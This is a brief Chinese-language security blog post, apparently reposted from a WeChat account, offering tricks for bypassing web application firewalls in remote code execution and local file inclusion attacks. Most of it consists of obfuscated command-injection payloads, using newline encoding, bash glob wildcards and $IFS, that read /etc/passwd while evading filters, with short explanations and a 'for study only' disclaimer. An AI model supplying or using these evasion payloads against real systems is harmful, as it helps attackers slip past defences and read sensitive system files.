RCE/LFI Bypass的一些技巧

admin 2023年5月9日14:28:16评论78 views字数 601阅读2分0秒阅读模式

我们现在有一个poc

c%0aat /et%0ac/pas%0aswd

RCE/LFI Bypass的一些技巧

通过 globbing 绕过 Web 应用程序防火墙 (WAF)

Bash 可以执行文件名通配,这个过程称为“通配”,但它不使用标准的正则表达式集。


如果有WAF (Web 应用程序防火墙)过滤RCE (远程代码执行)和LFI (本地文件包含)有效负载,您可以尝试通过替换绕过它。


这是一个例子:

/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd

?= 任何单个字符

* = 任何字符串,包括零长度字符串!

$IFS = Unix 系统上的内部字段分隔符 = 空格、制表符或换行符


例如,下面的所有条目在典型的 Linux 系统上都应该执行“/bin/cat /etc/passwd” :

/*/?at$IFS/???/???swd/****/?at$IFS/???/*swd/****/?at$IFS/???/*****swd


特别声明:

       由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,我不为此承担任何责任。

        作者有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者的允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。切勿用于非法,仅供学习参考





原文始发于微信公众号(深夜笔记本):RCE/LFI Bypass的一些技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月9日14:28:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RCE/LFI Bypass的一些技巧https://cn-sec.com/archives/1719188.html

发表评论

匿名网友 填写信息